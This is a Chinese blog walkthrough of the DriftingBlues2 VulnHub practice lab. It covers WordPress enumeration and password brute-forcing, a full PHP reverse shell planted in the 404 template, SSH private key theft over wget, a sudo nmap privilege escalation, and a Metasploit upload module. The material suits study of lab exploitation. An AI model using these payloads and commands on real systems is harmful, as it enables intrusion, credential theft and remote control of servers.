vulnhub靶场渗透实战12-driftingblues2

学安全的杨咩咩

已于 2022-12-06 17:20:15 修改

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分类专栏： VulnHub靶场文章标签：服务器网络 linux web安全运维

于 2022-12-05 17:38:02 首次发布

本文链接：https://blog.csdn.net/weixin_60329350/article/details/128182610

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vbox导入，网络桥接。

靶机下载地址：https://download.vulnhub.com/driftingblues/driftingblues2.ova

一：信息收集

1；主机发现。

2；开放服务端口。21端口匿名登录。

3；ftp匿名登录里面一张图片。

4；把图片复制到kali里面，利用工具steghide 查看一下图片里的信息，需要密码。emmm,什么都没有。

5；没发现其他，我们目录遍历一下。

nikto -h http://192.168.1.23  新扫描目标站点下有无目录的工具

6；一个登录框。添加本地host，因为/blog源码里面有个域名。by albert?可能是用户名。

192.168.1.23 driftingblues.box

那就用wp-scan工具扫描一下有没有用户名或者可利用的插件。确定是albert是用户名。

wpscan --url http://192.168.1.23/blog/ -e u

7；爆破一下这个用户的密码。albert/scotland1。登后台，管理员页面。wp-admin.

wpscan --url http://192.168.1.23/blog/ --passwords /usr/share/wordlists/rockyou.txt --usernames albert

8；登录成功。

二；漏洞利用

1；往404页面写个PHPshell进去，保存，凯莉开启监听，访问一个不存在的路径。

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.28';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

2；监听成功。升级一下shell。

3；在home目录下发现一个freddie用户，还发现了.ssh的文件，进入 .ssh 文件夹，发现存在公私钥信息文件，且私钥文件可读可执行。

可以直接复制粘贴到文件上去。

也可以开服务，卡莉下载私钥文件。

python2 -m SimpleHTTPServer 9998

wget http://192.168.1.23:9998/id_rsa

4；利用私钥文件，登录freddie用户，

5；看到有root权限，nmap提权。提权成功，两个flag。

https://gtfobins.github.io/查找nmap

这时是看不见输入的，使用reset + bash即可

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

使用 python 切换 bash：python3 -c 'import pty; pty.spawn("/bin/bash")'

三；第二种getshell的方法。

1；利用msfconsole得到shell。第二种得到shell的方式。

msfconsole

use exploit/unix/webapp/wp_admin_shell_upload

show options

设置选项

set username albert
set password scotland1
set rhost 192.168.1.23
set TARGETURI /blog
run

使用shell -t进入Linux shell

四；第二种收集提权信息的方法。

1；利用linpeas.sh提权信息收集脚本上传至目标主机的/tmp目录，修改权限，并执行该脚本：

脚本下载：https://github.com/BRU1S3R/linpeas.sh

看到了私钥泄露。

然后，该怎么提权就怎么提权了吧。

学安全的杨咩咩

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vulnhub靶场渗透实战12-driftingblues2

vbox导入，网络桥接。靶机下载地址：https://download.vulnhub.com/driftingblues/driftingblues2.ova 192.168.1.23 driftingblues.box 那就用wp-scan工具扫描一下有没有用户名或者可利用的插件。确定是albert是用户名。可以直接复制粘贴到文件上去。也可以开服务，卡莉下载私钥文件。查找
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